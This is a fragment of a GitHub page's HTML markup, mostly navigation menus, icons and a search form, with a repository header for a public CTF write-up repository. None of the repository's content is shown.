1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268424549" data-scoped-search-url="/gr4n173/CTF-WriteUp/search" data-owner-scoped-search-url="/users/gr4n173/search" data-unscoped-search-url="/search" data-turbo="false" action="/gr4n173/CTF-WriteUp/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="dDvWG3aIro7x1JvbiCFaI0um+wMfMZEssz4MLNj1VOaEjzxf0slFyCI+hmADfZ2FdrVC7mHTWk6QA6DYcEXKqA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> gr4n173 </span> <span>/</span> CTF-WriteUp
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
